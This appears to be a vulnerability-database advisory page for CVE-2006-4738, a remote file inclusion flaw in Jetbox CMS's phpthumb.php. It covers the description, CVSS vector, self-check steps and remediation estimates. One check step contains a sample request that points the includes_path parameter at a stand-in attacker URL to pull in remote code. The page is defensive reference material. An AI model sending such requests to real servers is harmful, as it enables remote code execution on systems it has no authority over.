CVE-2006-4738
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedPHP remote file inclusion vulnerability in phpthumb.php in Jetbox CMS allows remote attackers to execute arbitrary PHP code via a URL in the includes_path parameter. NOTE: The relative_script_path vector is already covered by CVE-2006-2270.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceThis is a remote file inclusion (RFI) vulnerability in phpthumb.php within Jetbox CMS. The includes_path parameter is not properly validated, allowing remote attackers to inject a URL pointing to malicious PHP code that gets executed on the server. This grants the attacker the ability to execute arbitrary PHP commands with the privileges of the web server.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 2.1_sr1CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Confirm Jetbox CMS installation and versionInspect your web server for Jetbox CMS files and check version information in configuration or metadata files. Compare the installed version to the affected range (2.1_sr1).Affected if Jetbox CMS version 2.1_sr1 is installed
-
Locate phpthumb.php fileSearch the Jetbox CMS installation directory for the phpthumb.php file. Common locations include the root directory or components folder.Affected if phpthumb.php file exists in the Jetbox CMS installation
-
Check includes_path parameter handlingExamine the phpthumb.php source code to verify if the includes_path parameter is validated before use in include/require statements. Look for code that directly uses this parameter without sanitization.Affected if The includes_path parameter is used without input validation or sanitization
-
Test for RFI vulnerabilitySend an HTTP request to phpthumb.php with a manipulated includes_path parameter pointing to an external URL (for example: ?includes_path=http://attacker.example.com/malicious.txt?). Observe if the application attempts to include the external resource.Affected if The server processes the external URL in the includes_path parameter without validation
A user is affected if Jetbox CMS version 2.1_sr1 is installed, the phpthumb.php file exists, and the includes_path parameter accepts external URLs without validation.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataUpgrade Jetbox CMS to a version that includes patched phpthumb.php code, or manually apply input validation/sanitization to the includes_path parameter to prevent URL-based file inclusion. If the component is unused, remove phpthumb.php entirely.
- Consultation2.0 h
- Implementation3.0 h
- Testing2.0 h
- Review / QA1.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $2,272.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2006-4738 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2006-4738 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data